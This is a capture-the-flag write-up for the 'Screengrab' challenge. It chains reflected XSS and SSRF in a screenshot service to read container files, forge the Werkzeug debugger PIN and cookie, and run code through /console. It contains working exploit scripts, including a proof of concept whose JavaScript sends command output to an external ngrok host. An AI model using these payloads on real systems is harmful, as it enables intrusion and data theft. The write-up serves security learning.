🚩 BlueHensCTF - Screengrab

Executive Summary

  • OS: Linux
  • Key Technique: The challenge contains a reflected XSS vulnerability in the React frontend and an SSRF vulnerability within a Playwright-based screenshot service. An attacker can use the SSRF to read local container files to deterministically forge the Werkzeug Debugger PIN and cookie. With the obtained credentials, the attacker can chain the exploitation with XSS into forcing the local headless browser to interact natively with the /console endpoint, authenticate using the forged PIN, and execute Python code to run a SUID binary to exfiltrate the flag.
  • Status: Completed

Reconnaissance

Configurations

The docker file reveals that there is a read_flag SUID inside the box. This suggests this challenge is hinting towards Remote Code Execution where we have to somehow execute the SUID.

center

Looking at the installed packages inside the system, I figure the installed version of React is vulnerable to React2Shell vulnerability, however, since the backend is using Flask which is a python framework, React2Shell would not work.

Other installed packages does not seems to be vulnerable. So the vulnerability lies inside the system.

First Look

The website is serving a screenshotting service where user input a URL and a title, and the back-end will open a headless browser, go to that specific URL and take a screenshot.

center

The backend code is extremely simple with only 2 endpoints, no authentication whatsoever. There is no input validation, no database or output encoding. The main logic lies inside the /api/screenshot endpoint.

center

Since the backend does not check for input validation, I check if the app can take a screen shot of an internal file, so I use file:///etc/passwd as the test input URL.

center

The test payload works. I also check for XSS vulnerability by injecting <img src=x onerror=alert(1)> in the title:

center

Exploitation

Notice how the URL actually contains the XSS payload, this makes me think about whether the bot can going to the service page itself at http://localhost:1337 and execute an XSS payload. So I create a small python script that can help me generate an HTTP link to to input to the front end and make a request to my HTTP server.

import base64  
from urllib.parse import quote  
 
INTERNAL_BASE = "http://localhost:1337"  
COLLABORATOR_URL = "http://0.tcp.ap.ngrok.io:17712"  
  
def generate_payload():  
    js_payload = f"new Image().src='{COLLABORATOR_URL}/?ping=1';"  
  
    b64_js = base64.b64encode(js_payload.encode()).decode()  
    xss_payload = f"<img src=x onerror=eval(atob('{b64_js}'))>"  
  
    encoded_xss = quote(xss_payload)  
    result_url = f"{INTERNAL_BASE}/?title={encoded_xss}&url=about:blank"
    
    print(result_url)
  
if __name__ == "__main__":  
    generate_payload()

center

The payload works and we got the ping.

Looking at the backend again there is something quite interesting at the end of the app.py file which is defines the backend of the application:

# ...
 
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=1337)

The flask app is running with debug=True this is a red flag for RCE as debug mode often provide a way to interact directly with the docker machine.

Searching on the Internet for a while, I found this post about how to exploit Flash’s app.run(debug=True) running configuration. The post reveals that there is a debug console at the endpoint /console and we need a PIN to access that console.

center

The earlier post also provide a python code to forge the PIN code, however, I find it easier to just find a github repo that can help me generate the code automatically. To use the repo I need these information:

  1. Path: runningpython -c "import flask; print(flask.__file__)" inside the docker container gives me /usr/local/lib/python3.12/site-packages/flask/__init__.py, hence the path would be /usr/local/lib/python3.12/site-packages/flask/app.py
  2. MAC: can be found at /sys/class/net/<interface_name>/address, the name of the interface can be found at /proc/net/dev, in this case, the docker container has only 2 interfaces (the loop-back interface lo and eth0)
  3. Machine ID: found at /etc/machine-id
  4. cgroup: found at /proc/self/cgroup
  5. username: which is user according to the Dockerfile

Now we can just clone the repo and running the code:

git clone https://github.com/SidneyJob/Werkzeuger.git
cd Werkzeuger
python3 gen.py \
  --username user \
  --path /usr/local/lib/python3.12/site-packages/flask/app.py \
  --mac 02:42:ac:12:00:02 \
  --machine_id 316cd00f4f76453b9f0a6449f7747800 \
  --cgroup 0::/

center

Now that we got the PIN, so I navigate to the console and type some random string and this is what I saw on the docker log:

center

It turns out that we can actually interact with the debugger using just GET requests, looking closely into the URL, we see that it takes 4 paramet

  • __debugger__: debug mode is on so it’s always yes
  • cmd: basically the python command that we type in
  • frm: frame ID, used for identifying debug function scope, the default is 0.
  • s: a secret string.

Since we’re technically port forwarding our localhost:1337 to the docker container’s, we can also navigate to the console, but on the remote server we cannot do so and we must use XSS to trigger the debugger using `fetch(URL).

Inside the image in which I found the PIN code, there it also a cookie (the __wzd...) generated alongside with it. It turns out that it is also the cookie used to authenticate ourselves when we make debug requests to the debugger. There is this code on Exploit-DB that I found to be great to use in order to test our exploit. I copied the code and modify it in a file, let’s call it hello.py:

#!/usr/bin/env python
import requests
import sys
import re
import urllib
 
# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 
 
if len(sys.argv) != 3:
    print ("USAGE: python %s <ip> <port>" % (sys.argv[0]))
    sys.exit(-1)
 
response = requests.get('http://%s:%s/console' % (sys.argv[1], sys.argv[2]))
 
if "Werkzeug " not in response.text:
    print("[-] Debug is not enabled")
    sys.exit(-1)
 
# since the application or debugger about python using python for reverse connect 
cmd = '''__import__('os').popen('whoami').read();'''
 
__debugger__ = 'yes'
 
frm = '0'
 
response = requests.get('http://%s:%s/console' % (sys.argv[1], sys.argv[2]))
 
secret = re.findall("[0-9a-zA-Z]{20}", response.text)
 
if len(secret) != 1:
    print ("[-] Impossible to get SECRET")
    sys.exit(-1)
else:
    secret = secret[0]
    print("[+] SECRET is: " + str(secret))
 
data = {
    '__debugger__': __debugger__,
    'cmd': str(cmd),
    'frm': frm,
    's': secret
}
 
cookie = {"__wzd5565cbe4d034223b3900":"1776996998|a32babe6be3c"}
 
response = requests.get("http://%s:%s/console" % (sys.argv[1], sys.argv[2]), params=data, headers=response.headers, cookies=cookie)
 
print ("[+] response from server")
print ("status code: " + str(response.status_code))
print ("response: " + str(response.text))

center

We successfully authenticate ourselves using the cookie, without ever having to type the PIN!

PoC

#!/usr/bin/env python3
import requests
import base64
import subprocess
import re
import argparse
import sys
from urllib.parse import quote
 
TARGET_BASE = "http://localhost:1337"
INTERNAL_BASE = "http://localhost:1337"
COLLABORATOR_URL = "http://0.tcp.ap.ngrok.io:14994" # your ngrok tcp
GEN_PY_PATH = "Werkzeuger/gen.py" # git clone https://github.com/SidneyJob/Werkzeuger
 
def get_forged_cookie(mac, machine_id):    
    cmd = [
        "python3", GEN_PY_PATH,
        "--username", "user",
        "--path", "/usr/local/lib/python3.12/site-packages/flask/app.py",
        "--mac", mac,
        "--machine_id", machine_id,
        "--cgroup", "0::/"
    ]
    
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, check=True)
    except subprocess.CalledProcessError as e:
        print(f"[-] Error running gen.py: {e}")
        print(e.stderr)
        sys.exit(1)
 
    blocks = result.stdout.split('[+] Success!')
    
    for block in blocks:
        if 'Modname: flask.app' in block and 'Appname: Flask' in block:
            cookie_match = re.search(r'\[\*\] Cookie:\s*(.+)', block)
            if cookie_match:
                cookie = cookie_match.group(1).strip()
                print(f"[+] Successfully extracted forged cookie: {cookie}")
                return cookie
                
    print("[-] Could not find the cookie in gen.py output.")
    sys.exit(1)
 
def exploit(mac, machine_id):
    forged_cookie = get_forged_cookie(mac, machine_id)
 
    js_payload = f"""
        const L = msg => new Image().src='{COLLABORATOR_URL}/?log=' + btoa(msg);
        L('1-START-XSS');
 
        document.cookie = '{forged_cookie}; path=/';
        L('2-COOKIE-INJECTED');
 
        fetch('{INTERNAL_BASE}/console')
            .then(res => res.text())
            .then(html => {{
                const secretMatch = html.match(/SECRET = "([a-zA-Z0-9]+)"/);
                if (!secretMatch) throw new Error("No secret found");
                const secret = secretMatch[1];
                L('3-FOUND-SECRET-' + secret.substring(0,5));
 
                const cmd = encodeURIComponent("import os; print(os.popen('/app/read_flag').read())");
                return fetch(`{INTERNAL_BASE}/console?__debugger__=yes&cmd=${{cmd}}&frm=0&s=${{secret}}`);
            }})
            .then(res => res.text())
            .then(output => {{
                new Image().src='{COLLABORATOR_URL}/?flag=' + btoa(output);
            }})
            .catch(err => L('ERROR-' + String(err)));
    """
 
    b64_js = base64.b64encode(js_payload.encode()).decode()
    xss_payload = f"<img src=x onerror=eval(atob('{b64_js}'))>"
 
    encoded_xss = quote(xss_payload)
    internal_target = f"{INTERNAL_BASE}/?title={encoded_xss}&url=about:blank"
    final_url = f"{TARGET_BASE}/api/screenshot?url={quote(internal_target)}"
 
    try:
        requests.get(final_url, timeout=30)
        print("[+] Got the flag, go check out your python server.")
    except requests.exceptions.Timeout:
        print("[+] Request timed out")
    except Exception as e:
        print(f"[-] Exploit request error: {e}")
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Werkzeug RCE")
    parser.add_argument("--mac", required=True, help="MAC Address (e.g., 02:42:ac:12:00:02)")
    parser.add_argument("--machine-id", required=True, help="Machine ID from /etc/machine-id")
    args = parser.parse_args()
 
    exploit(args.mac, args.machine_id)

References

Exploit-DB test code: https://www.exploit-db.com/exploits/43905

HackTrick blog on Pentesting Werkzeug Debugger: https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html

Github Repo on forging Werkzeug PIN code and Cookie: https://github.com/SidneyJob/Werkzeuger